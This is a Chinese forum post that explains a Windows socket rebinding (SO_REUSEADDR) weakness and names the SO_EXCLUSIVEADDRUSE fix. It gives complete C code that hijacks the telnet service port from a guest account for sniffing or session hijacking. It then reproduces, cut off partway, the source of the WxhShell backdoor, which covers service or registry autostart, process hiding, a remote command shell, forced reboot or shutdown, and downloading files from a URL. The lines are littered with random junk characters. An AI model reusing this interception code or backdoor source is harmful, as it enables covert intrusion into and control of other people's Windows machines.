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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1el?f>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @=h%;"  
@4^5C-  
  saddr.sin_family = AF_INET; L^yQb4$&M  
E D*=8 s2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h']R P  
YN_#x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RQWVjF#  
JQYIvo1,Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K~z*P 0g*  
GBzC<e#  
  这意味着什么?意味着可以进行如下的攻击: I: U/%cr,  
7f8%WD)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H[@uE*W  
TyD*m$`y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8jd<|nYnfc  
KGxF3xS*7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Gg|'T}0X  
4*&x% ~*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yZ~<! 5.P  
EXH{3E54)`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SJoQaR,)>  
yc|C}oQF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "5 PP<A,F(  
vP^]Y.6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0{F"b'h  
`I,A7b  
  #include y A?>v'K  
  #include xr&wV0O '  
  #include H/Cv?GJF  
  #include    JaKR#Y$+~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bYQ h{q  
  int main() 0bQaXxt|p  
  { Vo+d3  
  WORD wVersionRequested; N~{0QewMI'  
  DWORD ret; \=Af AO@  
  WSADATA wsaData; nL5Gr:SLo  
  BOOL val; *=ftg&  
  SOCKADDR_IN saddr; `)\_  
  SOCKADDR_IN scaddr; p^Ca-+R3  
  int err; EJjTf:  
  SOCKET s; ;38W41d{  
  SOCKET sc; :^0g}8$<  
  int caddsize; y$r^UjJEO  
  HANDLE mt; Q-F'-@`(C  
  DWORD tid;   I{<6GIU+  
  wVersionRequested = MAKEWORD( 2, 2 ); OHssUt  
  err = WSAStartup( wVersionRequested, &wsaData ); N?Mmv|  
  if ( err != 0 ) { uYIw ?fXy  
  printf("error!WSAStartup failed!\n"); WGN[`D"  
  return -1; GC66n1- X  
  } Odxq]HlbO  
  saddr.sin_family = AF_INET; H1| -f]!  
   (6A>:_)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aQCbRS6  
4U<'3~RN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T~s/@*y9  
  saddr.sin_port = htons(23); HB {-^9{E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #j d?ocoY  
  { cx|[P6d  
  printf("error!socket failed!\n"); =}\]i*  
  return -1; >4ebvM 0|  
  } XtT;UBE  
  val = TRUE; $} TqBBe   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M$FXDyr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MFX&+c  
  { 'Vy$d<@s[  
  printf("error!setsockopt failed!\n"); <E$P  
  return -1; B5#a 4G.  
  } *`ehI_v :  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cmt3ceCb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -2v|d]3qG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P0RM df  
2c5>0f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *{Wh- bc  
  { fTY@{t  
  ret=GetLastError(); miuJ!Kr'  
  printf("error!bind failed!\n"); BS*cG>T  
  return -1; g0rdF  
  } EM vV  
  listen(s,2);  8czo#&  
  while(1) m4 E 6L  
  { (z2)<_bXJ  
  caddsize = sizeof(scaddr); s?~Abj_  
  //接受连接请求 ?-#w [J'6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U(W#H|  
  if(sc!=INVALID_SOCKET) > m}.}g8  
  { GPP~*+n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /Ia=/Jj7N  
  if(mt==NULL) ;TmwIZ  
  { =_%:9FnQ0  
  printf("Thread Creat Failed!\n"); VQPq+78  
  break; Ip8 Ap$  
  } |YZ`CN<  
  } '  AeU  
  CloseHandle(mt); >P\T nb"Q\  
  } kG?tgO?*  
  closesocket(s); b ";#qVv C  
  WSACleanup(); En5Bsz !  
  return 0; jJ55Az?t:  
  }   CG=#rc]vz  
  DWORD WINAPI ClientThread(LPVOID lpParam) e{=7,DRH<  
  { of+$TKQNpN  
  SOCKET ss = (SOCKET)lpParam; >GT0 x  
  SOCKET sc; U%gP2]t%cs  
  unsigned char buf[4096];  V}8J&(\  
  SOCKADDR_IN saddr; S`0@fieOf  
  long num; He#+zE ;  
  DWORD val; E'MMhl o  
  DWORD ret; akd~Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }{iR+M X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U?#6I-  
  saddr.sin_family = AF_INET; }[AIE[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qx.E+n\  
  saddr.sin_port = htons(23); ZR..>=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zc/S  
  { 1-w1k ^e  
  printf("error!socket failed!\n"); k9}im  
  return -1; /&kZ)XOi  
  } (6 0,0|s  
  val = 100; BAm{Gb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !o*oT}6n  
  { j:<E=[Kl  
  ret = GetLastError(); tQ`tHe  
  return -1; v`wPdb  
  } -(:BkA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K<s\:$VVh  
  { ^gb2=gWZ<  
  ret = GetLastError(); 3c9v~5og4  
  return -1; &2QN^)q  
  } rycscE4,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uO"@YX/  
  { i}HF  
  printf("error!socket connect failed!\n"); A\4 Gq  
  closesocket(sc); &p=~=&g=  
  closesocket(ss); *l7 ojv  
  return -1; Bljh'Qp>C  
  } E(u[?  
  while(1) +?mZ_sf8w  
  { W9eR3q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i g?]kZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 It]CoAo+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1 #EmZ{*  
  num = recv(ss,buf,4096,0); #wC4$y<>  
  if(num>0) H2k>E}`  
  send(sc,buf,num,0); !_x-aro3<  
  else if(num==0) xss D2*l  
  break; apw8wL2  
  num = recv(sc,buf,4096,0); -O(.J'=8  
  if(num>0) j5$Sm  
  send(ss,buf,num,0); =3 -G  
  else if(num==0) Zqx5I~  
  break;  61gZZM  
  } V]vk9M2q[l  
  closesocket(ss); `^_.E:f  
  closesocket(sc); A;2?!i#f  
  return 0 ; F}sfk}rp  
  } [0J0<JnK  
DVpqm6$ Q  
y#x]?%m  
========================================================== ->93.sge  
g00XZ0@  
下边附上一个代码,,WXhSHELL H 5sj% v  
Q >sq:R+'  
========================================================== Mb$&~!  
M%$zor  
#include "stdafx.h" *7-uQKp  
(_-z m)F7  
#include <stdio.h> z` gR*+  
#include <string.h> B3I< $  
#include <windows.h> j\Q_NevV  
#include <winsock2.h> 3!*J;Y  
#include <winsvc.h>  : [AW  
#include <urlmon.h> 0eUsvzz 15  
B}*xrPj  
#pragma comment (lib, "Ws2_32.lib") N2~DxVJ5cT  
#pragma comment (lib, "urlmon.lib") $e<3z6  
kA#>Xu/  
#define MAX_USER   100 // 最大客户端连接数 a&y%|Gs^f  
#define BUF_SOCK   200 // sock buffer Bd\p!f<  
#define KEY_BUFF   255 // 输入 buffer 2abWIw4  
d_]MqH>R\  
#define REBOOT     0   // 重启 >nTGvLOq  
#define SHUTDOWN   1   // 关机 \idg[&}l}  
le8n!Dk(  
#define DEF_PORT   5000 // 监听端口 \W*ouH  
(c[|k  
#define REG_LEN     16   // 注册表键长度 5?2PUE,a  
#define SVC_LEN     80   // NT服务名长度 \/lS!+~'']  
X0 %k`3  
// 从dll定义API iL5+Uf)E3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); seq S*^7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *K0CUir|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [QL)6Xr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vT[%*)`  
D+"5R5J",  
// wxhshell配置信息 /4=O^;   
struct WSCFG { e'7!aysj  
  int ws_port;         // 监听端口 #M8"b]oh6  
  char ws_passstr[REG_LEN]; // 口令 eR5swy&  
  int ws_autoins;       // 安装标记, 1=yes 0=no iyj&O"  
  char ws_regname[REG_LEN]; // 注册表键名 ,gRsbC  
  char ws_svcname[REG_LEN]; // 服务名 WU}JArX9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2Uk$9s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mtJI#P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Dr@n^hk@[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lf Wxdi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *[_?4*F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i<&2Ffvq  
v( (fRX.`  
}; *4+;E y  
BU])@~$  
// default Wxhshell configuration qFvtqv2  
struct WSCFG wscfg={DEF_PORT, rF 7EO%,  
    "xuhuanlingzhe", :Fm+X[n  
    1, Pm;"Y!S<  
    "Wxhshell", LI(Wu6*Y  
    "Wxhshell", Yo:>m*31  
            "WxhShell Service", uZW1 :cx  
    "Wrsky Windows CmdShell Service",  H\)on"  
    "Please Input Your Password: ", Ym0Xl(Se  
  1, 6K* 7%8Y/G  
  "http://www.wrsky.com/wxhshell.exe", {]|};E[}m  
  "Wxhshell.exe" w9z((\5  
    }; =|uX?  
WFLT[j!1  
// 消息定义模块 5v>(xl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \!s0VEE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |4 wVWJ7   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kGX`y.-[  
char *msg_ws_ext="\n\rExit."; KVqQOh'_T  
char *msg_ws_end="\n\rQuit."; %'EOFv]  
char *msg_ws_boot="\n\rReboot..."; w,JB`jS)/  
char *msg_ws_poff="\n\rShutdown..."; KWhw@y-5j@  
char *msg_ws_down="\n\rSave to "; eGnc6)x@C  
0}HKmEM  
char *msg_ws_err="\n\rErr!"; knF *~O :y  
char *msg_ws_ok="\n\rOK!"; #CVD:p  
uKtrG,/ p  
char ExeFile[MAX_PATH]; 875V{fvPBU  
int nUser = 0; qTiX;e\W  
HANDLE handles[MAX_USER]; }U+gJkY2  
int OsIsNt; j1<@ *W&b  
GD.mB[f*  
SERVICE_STATUS       serviceStatus; nvpdu)q<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0nA17^W  
zD2B hta y  
// 函数声明 ~vaV=})  
int Install(void); Fc42TH p  
int Uninstall(void); [nYwJ  
int DownloadFile(char *sURL, SOCKET wsh); IXX^C}\,  
int Boot(int flag); H}JH339  
void HideProc(void); Gl}=Q7  
int GetOsVer(void); js7J#b7  
int Wxhshell(SOCKET wsl); CWt,cwFW  
void TalkWithClient(void *cs); UZ&bT'>;9g  
int CmdShell(SOCKET sock); O,:ent|  
int StartFromService(void); mKWA-h+f  
int StartWxhshell(LPSTR lpCmdLine); g8}/Ln*W'  
vZ$uD,@;.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _0^<)OSY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6}{2W<  
Jp_{PR:&  
// 数据结构和表定义 F]SexP4:A  
SERVICE_TABLE_ENTRY DispatchTable[] = E}\^GNT  
{ QT\S>}  
{wscfg.ws_svcname, NTServiceMain}, sStaT R{  
{NULL, NULL} IN`05Q  
}; fm:/}7s  
y&9v0&o  
// 自我安装 +<@7x16  
int Install(void) %E~4Ur  
{ 3(6i6 vV  
  char svExeFile[MAX_PATH]; q^Oq:l$s  
  HKEY key; N$?mula  
  strcpy(svExeFile,ExeFile); 7P:0XML}  
Yq<D(F#qx  
// 如果是win9x系统,修改注册表设为自启动 :]e:-JbT4z  
if(!OsIsNt) { OFCkQEG=y>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QQ1+uY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;STO!^9~  
  RegCloseKey(key); |~rDEv3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3"!2C,3c#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )!p=0&z@{  
  RegCloseKey(key); 6Z|/M6f  
  return 0; &l{yEWA}g  
    } %^gT.DsX-  
  } %+FM$xyJ  
} =@V4V} ?  
else { ~SP.&>Q>  
t3v*P6  
// 如果是NT以上系统,安装为系统服务 #y}@FG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #j iQa"  
if (schSCManager!=0) tkV:kh< L~  
{ HC}D<FX |  
  SC_HANDLE schService = CreateService D@5&xd_@4  
  ( : bT*cgD{  
  schSCManager, 9?bfZF4A=  
  wscfg.ws_svcname, BalOph4M[  
  wscfg.ws_svcdisp, ?i)-K?4Sb  
  SERVICE_ALL_ACCESS, BxO2w1G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u\&oiwSIP  
  SERVICE_AUTO_START, n4(w?,w }  
  SERVICE_ERROR_NORMAL, :h*20iP  
  svExeFile, -5kq9Dy\,  
  NULL, sVaWg?=qs'  
  NULL, <`*6;j.&  
  NULL, u=#LY$  
  NULL, (= uwx#  
  NULL ?GB($D=Y'&  
  ); cV)fe`Gg  
  if (schService!=0) ,t61IU3"  
  { t*e+[  
  CloseServiceHandle(schService); +5? s Yp\  
  CloseServiceHandle(schSCManager); j\!zz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dFo9O!YX[f  
  strcat(svExeFile,wscfg.ws_svcname); VXR.2C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^*%p]r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H ,KU!1p  
  RegCloseKey(key); ldanM>5  
  return 0; tG{e(  
    } 2,q^O3F  
  } X f!Bsp#\g  
  CloseServiceHandle(schSCManager); peR=J7  
} :[|`&_D9J  
} zUIh8cAoE  
)|uPCZdLZ  
return 1; dGP*bMCT  
} |3Oe2qb  
>:Xzv  
// 自我卸载 Nd^9.6,JU  
int Uninstall(void) 0 6 K8|K  
{ i+Ob1B@w  
  HKEY key; mL18FR N  
&Vvy`JE  
if(!OsIsNt) { m5{Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nz*qz"T  
  RegDeleteValue(key,wscfg.ws_regname); ;wJLH\/  
  RegCloseKey(key); ;7tOFsV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rj+}L ~"  
  RegDeleteValue(key,wscfg.ws_regname); G*\wu&7!  
  RegCloseKey(key); =h5&\4r=  
  return 0; $-M1<?5  
  } nU)}!` E  
} NTs< ;ED  
} C[n,j#Mvje  
else { 6(D K\58  
DY~~pi~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {BY`Wu:w  
if (schSCManager!=0) 2s?j5 Sd  
{ {nm#aA%,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tvf"w`H  
  if (schService!=0) "&Q-'L!M'/  
  { Dn<2.!ZKQ  
  if(DeleteService(schService)!=0) { v-42_}  
  CloseServiceHandle(schService); $C,f>^1  
  CloseServiceHandle(schSCManager); |K aXek  
  return 0; 2Z7smDJ  
  } JNuo+Pq  
  CloseServiceHandle(schService); f ,K1a9.  
  } xf% ,UQ  
  CloseServiceHandle(schSCManager); )1~4Tl,S  
} kH-1l>":  
}  ZMg%/C  
TLPy/,  
return 1; J j yQ  
} { tim{nV  
XMa(XOnX  
// 从指定url下载文件 gigDrf}  
int DownloadFile(char *sURL, SOCKET wsh) >(`|oD`,Y  
{ HP*x?|4  
  HRESULT hr; jR }h3!  
char seps[]= "/"; 1#aOgvf  
char *token; >~>=[M0  
char *file; &AUL]:<s  
char myURL[MAX_PATH]; s:jr/ j!  
char myFILE[MAX_PATH]; !i.`m-J*  
7bQ#M )}  
strcpy(myURL,sURL); #9#N+  
  token=strtok(myURL,seps); EG7ki0  
  while(token!=NULL) Y\dK- M{$  
  { \>23_d0  
    file=token; ^p|@{4f]  
  token=strtok(NULL,seps); P ,xayy  
  } h"#^0$f  
0Q]x[;!k  
GetCurrentDirectory(MAX_PATH,myFILE); - Kj$A@~x  
strcat(myFILE, "\\"); s@^GjA[6+  
strcat(myFILE, file);  J@(*(oQb  
  send(wsh,myFILE,strlen(myFILE),0); xfos>|0N  
send(wsh,"...",3,0);  5t:4%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pc^(@eD  
  if(hr==S_OK) Rj^bZ%t  
return 0; ,yAvLY5 P  
else Ga N4In[d  
return 1; rQj.W6w=  
lv&<kYWY  
} m#grtmyMrI  
31Zl"-<#-  
// 系统电源模块 +%UXI$v  
int Boot(int flag) /D 2v 1  
{ k{y@&QNj  
  HANDLE hToken; OHp 121  
  TOKEN_PRIVILEGES tkp; ra_`NsKF}  
sBZKf8@/  
  if(OsIsNt) { :*A6Ba  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zo-s_6uC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I&Yu=v/_  
    tkp.PrivilegeCount = 1; 3::DURkjf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w/h?, L|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); } Yj ic4?  
if(flag==REBOOT) { xJ^Gtq Um  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !<((@*zU  
  return 0; mBQ6qmK   
} 3AX/A+2  
else { 9oc.`-e\?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E-.M+[   
  return 0; 'S@h._q  
} QmbD%kW`3  
  } b==<7[8  
  else { 7!Ym~M=  
if(flag==REBOOT) { o LuGW5wzj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *1Nz VV  
  return 0; 5c3 )p^ ]g  
} C1r]kF  
else { (`!?p ^>A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f o4j^,`  
  return 0; `Qaw]&O  
} 'WxcA)z0cQ  
} &0Wv+2l @  
v)okVyv  
return 1; wEQV"I  
} Co[  rhs  
B07(15y]  
// win9x进程隐藏模块 gqyQ Zew  
void HideProc(void) i/-Xpj]Zf  
{ *D*K`dk  
VISNmz2P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;IXDZ#;   
  if ( hKernel != NULL ) xwTN\7f>  
  { I$9 t^82j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vZhN% DfY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nFX8:fZ$>  
    FreeLibrary(hKernel); \iSaxwU_  
  } ]\ sBl  
h&NcN-["  
return; wrac\.  
} UT==x<  
I/pavh  
// 获取操作系统版本 9~ K 1+%!  
int GetOsVer(void) pWO,yxr:  
{ o*'J8El\y^  
  OSVERSIONINFO winfo; l?pZdAE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,DXNq`24  
  GetVersionEx(&winfo); &>*f J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wu/]M~XwI  
  return 1; |9~{&<^X  
  else F1w~f <  
  return 0; jiC;*]n  
} q 1Rk'k4+  
]wER&/v"  
// 客户端句柄模块 8QXxRD;0:  
int Wxhshell(SOCKET wsl) UfOF's_'<  
{ B9>3xxp(by  
  SOCKET wsh; z )a8 ^]`  
  struct sockaddr_in client; ]y2(ZTNTs  
  DWORD myID; R1 hb-  
7t0\}e  
  while(nUser<MAX_USER) R1{ "  
{ sn}U4=u  
  int nSize=sizeof(client); -KCm#!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bo0m/hVU  
  if(wsh==INVALID_SOCKET) return 1; j42U|CuK  
/V$ [M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UStZ3A'  
if(handles[nUser]==0) PfF7*}P  
  closesocket(wsh); UyEyk$6SU  
else N6Vn/7I5%  
  nUser++; 6AUXYbK,  
  } XB50>??NE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iVFHr<zk  
df&d+jY  
  return 0; :G9.}VrU  
} T&tCXi  
Tm.(gK  
// 关闭 socket .B6$U>>NS^  
void CloseIt(SOCKET wsh) _^0yE_ili  
{ 4u"V52  
closesocket(wsh); 5A>W;Q\4  
nUser--; Y9'Bdm/  
ExitThread(0); RI')iz?  
} cPPE8}PVH  
D""d-oI[  
// 客户端请求句柄 ,}=x8Xxr  
void TalkWithClient(void *cs) =L 7scv%i  
{ B+`m  
KNic$:i  
  SOCKET wsh=(SOCKET)cs; ]$EKowi  
  char pwd[SVC_LEN]; 15)=>=1mR.  
  char cmd[KEY_BUFF]; V+nqQ~pJ&  
char chr[1]; dScit!T"  
int i,j; I o|NL6[  
B=(m;A#G  
  while (nUser < MAX_USER) { lw\OsB$  
VWI|`O.w  
if(wscfg.ws_passstr) { "o*F$7D!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >wNE!Oa*B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L @_IGH  
  //ZeroMemory(pwd,KEY_BUFF); q-KN{y/  
      i=0; P2_JS]>  
  while(i<SVC_LEN) { Aq^1(-g  
c#<v:b  
  // 设置超时 ([qw#!;w;  
  fd_set FdRead; &s_[~g<  
  struct timeval TimeOut; HfFP4#C,  
  FD_ZERO(&FdRead); >/.-N  
  FD_SET(wsh,&FdRead); =4RnXZ[P0  
  TimeOut.tv_sec=8; )U6T]1  
  TimeOut.tv_usec=0; $"!"=v%B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *S~gF/*kP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W=M]1hy  
KA0Ui,q3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w[^s) 1  
  pwd=chr[0]; 1,p7Sl^h  
  if(chr[0]==0xd || chr[0]==0xa) { |>gya&  
  pwd=0; ^+Ie   
  break; #VgPg5k.<  
  } Dr^#e  
  i++; +#"CgZ]  
    } ZL:nohB  
_bHmcK  
  // 如果是非法用户,关闭 socket JpvE c!cli  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %4Y/-xF}9,  
} SaH0YxnY+  
x\]%TTps  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w`bojM@e1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +?),BRCce  
DB We>Ef(  
while(1) { m*6C *M  
+t({:>E  
  ZeroMemory(cmd,KEY_BUFF); X|{TwmHd  
bJ*jJl x  
      // 自动支持客户端 telnet标准   GPy+\P`  
  j=0; ytf.$P  
  while(j<KEY_BUFF) { uLD%M av  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U]riBlg>  
  cmd[j]=chr[0]; _8vq]|rC  
  if(chr[0]==0xa || chr[0]==0xd) { Du k v[/60  
  cmd[j]=0; $z"3_4a  
  break; vrXUS9i.  
  } %G1kkcdH<  
  j++; B<SuNbR  
    } )[|`-M~u  
2j9Mr  
  // 下载文件 '2vZ%C$  
  if(strstr(cmd,"http://")) { ypM0}pdvTp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f wWI2"}  
  if(DownloadFile(cmd,wsh)) `PXSQf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f }PT3  
  else ftw\oGrS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hF"yxucj$  
  } D4g$x'  
  else { y*0bHzJ  
.E-)R  
    switch(cmd[0]) { R *lJe6  
  '#mv-/<t*  
  // 帮助 +@ga  
  case '?': { eGwrSF#a)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9^h0D}#@  
    break; 9YS&RBJu  
  } LE%3.. !  
  // 安装 4:GVZR|-  
  case 'i': { M<hX !B  
    if(Install()) qn}4PVn4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]PmmK_L  
    else `bw>.Ay  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Squ'd  
    break; ZT:&j4A|0  
    } FGo{6'K(:  
  // 卸载 U6;,<-bL  
  case 'r': { ]|ew!N$ar=  
    if(Uninstall()) . Xn w@\k'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ac0}  
    else O>9+ tQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f'` QW@U  
    break; H3"90^|,@  
    }  pbM~T(Y8  
  // 显示 wxhshell 所在路径 N=]2vyh  
  case 'p': { #q 'J`BC  
    char svExeFile[MAX_PATH]; atR WKsY<  
    strcpy(svExeFile,"\n\r"); 7t &KKKV  
      strcat(svExeFile,ExeFile); 99j^<)  
        send(wsh,svExeFile,strlen(svExeFile),0); T~@$WM(  
    break; }wJ-*By{+  
    } 'yd<<BM`  
  // 重启 4+qoq$F</  
  case 'b': { |giV<Sj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $a|C/s+}7>  
    if(Boot(REBOOT)) LxaR1E(Cc'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qOAK`{b  
    else { Qxr&zT7f  
    closesocket(wsh); #\U;,r  
    ExitThread(0); wN'Q\l+  
    } ?.Z4GWyXa  
    break; mxUM&`[  
    } Khp`KPxz%  
  // 关机 .21[3.bp/q  
  case 'd': { !?!~8J~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w64/$  
    if(Boot(SHUTDOWN)) YTP6m9hA+  
